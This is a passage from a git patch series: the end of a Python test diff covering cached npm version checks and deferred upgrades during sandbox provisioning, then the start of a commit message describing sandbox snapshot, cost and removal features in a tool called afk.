"view"]) + @property def installs(self) -> list[list[str]]: return [c for c in self.commands if c[:2] == ["npm", "install"]] @@ -99,3 +115,35 @@ async def test_no_registry_answer_keeps_what_is_there() -> None: machine = Machine(owner="provider", installed="1.9.0", latest=None) await _provision(machine) assert machine.installs == [] + + +async def test_a_recent_check_is_not_asked_again() -> None: + """Every reconnect asked npm for the latest release: measured ~0.6-1s of + each, and a listing reconnects to every running sandbox.""" + machine = Machine(owner="provider", installed="2.0.0", latest="2.0.0") + await _provision(machine) + await _provision(machine) + assert machine.asked_npm == 1 + + +async def test_a_stale_check_is_asked_again( + monkeypatch: pytest.MonkeyPatch, +) -> None: + machine = Machine(owner="provider", installed="2.0.0", latest="2.0.0") + await _provision(machine) + monkeypatch.setattr(base, "CHECK_EVERY", 0.0) + await _provision(machine) + assert machine.asked_npm == 2 + + +async def test_a_skipped_upgrade_is_not_remembered_as_checked() -> None: + machine = Machine( + owner="provider", + installed="1.9.0", + latest="2.0.0", + running=["/usr/local/bin/claude --resume abc"], + ) + await _provision(machine) + machine.running = [] + await _provision(machine) + assert machine.installs, "upgraded once nothing was running" From 0509bed47e68c7beb3c9556e368db5a1b4bdfc48 Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 15:31:19 -0700 Subject: [PATCH 27/37] afk: snapshots, cost, a branch home, --prompt, open network, wait MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - An expired or stopped sandbox is listed (`expired`, `stopped`, with its snapshot and how long it is kept), never resumed just to be listed. `attach` resumes it into the TUI on the same conversation; `peek` and `pull` resume it and stop it again. `stop` keeps the snapshot; new `rm` deletes the sandbox and snapshot. Before, a stopped sandbox read as gone and afk forgot it, which is what "lost work" was. - Each pushed conversation shows what its sandbox has cost so far, from the platform's own measurements at the region's rates (afk/cost.py, checked against the pricing page's worked examples and, live, against a stopped sandbox's raw numbers). `stop`/`rm` say what it cost; the first push says once how sandboxes and the gateway bill. - In a git repository, push records your working tree as a commit on HEAD (your branch, index and files untouched) and the sandbox works on afk/